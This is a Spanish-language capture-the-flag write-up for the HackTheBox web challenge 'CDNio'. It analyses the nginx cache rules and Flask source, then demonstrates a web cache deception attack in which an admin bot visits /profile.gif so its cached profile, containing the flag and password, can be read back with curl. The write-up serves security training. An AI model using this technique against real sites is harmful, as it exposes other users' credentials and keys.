CDNio
5 minutos de lectura
Se nos da un proyecto en Flask que se ejecuta detrás de un servidor nginx que actúa como un proxy. También se nos da un Dockerfile, por lo que podemos ejecutar un contenedor con la misma configuración que en la instancia remota. Después de registrar una nueva cuenta e iniciar sesión, tenemos esta página:

Análisis del código fuente
Comencemos mirando el archivo de configuración de nginx:
user nobody;
worker_processes 1;
pid /run/nginx.pid;
events {
worker_connections 768;
}
http {
server_tokens off;
include /etc/nginx/mime.types;
default_type application/octet-stream;
proxy_cache_path /var/cache/nginx keys_zone=cache:10m max_size=1g inactive=60m use_temp_path=off;
server {
listen 1337;
server_name _;
location ~* \.(css|js|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {
proxy_cache cache;
proxy_cache_valid 200 3m;
proxy_cache_use_stale error timeout updating;
expires 3m;
add_header Cache-Control "public";
proxy_pass http://unix:/tmp/gunicorn.sock;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location / {
proxy_pass http://unix:/tmp/gunicorn.sock;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
}
}
Una cosa extraña es que Flask está escuchando en un socket de dominio Unix (UDS) en lugar de en un puerto TCP (como normalmente). Sin embargo, esto no es relevante porque tenemos conectividad directa con nginx y no con Flask.
El punto principal de este archivo es este bloque:
location ~* \.(css|js|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {
proxy_cache cache;
proxy_cache_valid 200 3m;
proxy_cache_use_stale error timeout updating;
expires 3m;
add_header Cache-Control "public";
# ...
}
¡Esto significa que cualquier archivo que termine en una de las extensiones anteriores se almacenará en caché durante 3 minutos!
Si echamos un vistazo a los endpoints expuestos por Flask, veremos algo extraño aquí:
from . import main_bp
from app.middleware.auth import jwt_required
from flask import jsonify, request
import re, sqlite3
def get_db_connection():
conn = sqlite3.connect("/www/app/database.db")
conn.row_factory = sqlite3.Row
return conn
@main_bp.route('/<path:subpath>', methods=['GET'])
@jwt_required
def profile(subpath):
if re.match(r'.*^profile', subpath): # Django perfection
decoded_token = request.decoded_token
username = decoded_token.get('sub')
if not username:
return jsonify({"error": "Invalid token payload!"}), 401
conn = get_db_connection()
user = conn.execute(
"SELECT id, username, email, api_key, created_at, password FROM users WHERE username = ?",
(username,)
).fetchone()
conn.close()
if user:
return jsonify({
"id": user["id"],
"username": user["username"],
"email": user["email"],
"password": user["password"],
"api_key": user["api_key"],
"created_at": user["created_at"]
}), 200
else:
return jsonify({"error": "User not found"}), 404
else:
return jsonify({"error": "No match"}), 404
En particular, ¿cuál es el sentido de usar re.match(r'.*^profile', subpath)? Después de un poco de prueba, esta función concuerda con cualquier string que comience por profile (por ejemplo, profile, profile.css, profile.gif, profile.asdf…).
Obsérvese que necesitamos estar autenticados (que se maneja mediante tokens JWT). La respuesta será nuestra información de usuario (username, password y api_key, entre otros valores).
Continuando con el análisis, podemos hacer que un bot una visite una URL del servidor:
from . import bot_bp
from app.utils.bot import bot_thread
from app.middleware.auth import jwt_required
from flask import request, jsonify
@bot_bp.route('/visit', methods=['POST'])
@jwt_required
def visit():
data = request.get_json()
uri = data.get('uri')
if not uri:
return jsonify({"message": "URI is required"}), 400
bot_thread(uri)
return jsonify({"message": f"Visiting URI: {uri}"}), 200
El bot tomará sus propias credenciales de una variable de entorno, iniciará sesión y luego visitará la URL especificada:
import time, os, threading, requests
base_url = "http://0.0.0.0:1337"
admin_passwd = os.getenv("RANDOM_PASSWORD")
base_headers = {
"User-Agent": "CDNio Bot ()"
}
def login_and_get_token():
session = requests.Session()
login_url = f"{base_url}/"
payload = {
"username": "admin",
"password": admin_passwd
}
response = session.post(login_url, json=payload, headers=base_headers)
if response.status_code == 200:
token = response.json().get("token")
return token, session
else:
return None, None
def bot_runner(uri):
token, session = login_and_get_token()
headers = {
**base_headers,
"Authorization": f"Bearer {token}"
}
r = requests.get(f"{base_url}/{uri}", headers=headers)
time.sleep(5)
def bot_thread(uri):
bot_runner(uri)
Hasta ahora todo bien, pero nos falta algo… ¡la flag! Hay un archivo entrypoint.sh que se ejecuta cuando comienza el contenedor:
#!/bin/sh
set -e
DB_PATH="/www/app/database.db"
if [ ! -f "$DB_PATH" ]; then
sqlite3 "$DB_PATH" <<- 'EOF'
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
password TEXT NOT NULL,
email TEXT NOT NULL UNIQUE,
api_key TEXT NOT NULL UNIQUE,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
EOF
fi
RANDOM_PASSWORD=$(openssl rand -base64 16 | tr -d '\n') && export RANDOM_PASSWORD
sqlite3 "$DB_PATH" <<- EOF
INSERT INTO users (username, password, email, api_key)
VALUES ('admin', '$RANDOM_PASSWORD', 'admin@hackthebox.com', 'HTB{f4k3_fl4g_f0r_t35t1ng}');
EOF
mkdir -p /var/cache/nginx \
&& mkdir -p /var/log/gunicorn \
&& chown -R nobody:nogroup /var/log/gunicorn \
&& chown -R nobody:nogroup /www
nginx -g 'daemon off;' &
exec su nobody -s /bin/sh -c \
"gunicorn \
--bind 'unix:/tmp/gunicorn.sock' \
--workers '2' \
--access-logfile '/var/log/gunicorn/access.log' \
wsgi:app"
Aquí vemos cómo se insertan las credenciales del bot en la base de datos, y la flag está en la columna api_key.
Solución
Ahora tenemos todas las piezas, resumamos:
- El servidor nginx guarda en caché respuestas para varias extensiones durante 3 minutos
- Hay un endpoint
/profileque devuelve la información del usuario (incluido la clave de API) - En realidad, el controlador para
/profilefunciona para cualquier término que comience con/profile(es decir,/profile.gify otras extensiones) - Podemos hacer que el bot visite cualquier URL en el servidor
- La flag es la clave de API del bot
Entonces, la idea es hacer que el bot visite una URL como /profile.gif, para que la respuesta muestre su clave de API (la flag), y nginx la guarde en caché porque las extensiones de .gif se guardan en caché durante 3 minutos. Entonces, podemos hacer una petición a /profile.gif desde nuestro lado y obtendremos la respuesta en caché en lugar de nuestros propios datos de usuario. Esto generalmente se conoce como envenenamiento de caché web.
Flag
Podemos encontrar la flag con solo unos pocos comandos de curl:
$ curl 94.237.53.203:44694/register -d '{"username":"x","password":"x","email":"x"}' -H 'Content-Type: application/json'
{"message":"User x registered successfully!"}
$ curl 94.237.53.203:44694 -d '{"username":"x","password":"x"}' -H 'Content-Type: application/json'
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ4IiwiaWF0IjoxNzQ1ODczMzMxLCJleHAiOjE3NDU5NTk3MzF9.gjhkchVoFMTYWNVoF8LTcKrYYKFVX_tWqEdqqpmt2ro"}
$ curl 94.237.53.203:44694/visit -d '{"uri":"profile.gif"}' -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ4IiwiaWF0IjoxNzQ1ODczMzMxLCJleHAiOjE3NDU5NTk3MzF9.gjhkchVoFMTYWNVoF8LTcKrYYKFVX_tWqEdqqpmt2ro'
{"message":"Visiting URI: profile.gif"}
$ curl 94.237.53.203:44694/profile.gif -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ4IiwiaWF0IjoxNzQ1ODczMzMxLCJleHAiOjE3NDU5NTk3MzF9.gjhkchVoFMTYWNVoF8LTcKrYYKFVX_tWqEdqqpmt2ro'
{"api_key":"HTB{cDN_10_OoOoOoO_Sc1_F1_iOOOO0000}","created_at":"2025-04-28 20:45:02","email":"admin@hackthebox.com","id":1,"password":"ZmUQ269y7JC95TLrCvjJtg==","username":"admin"}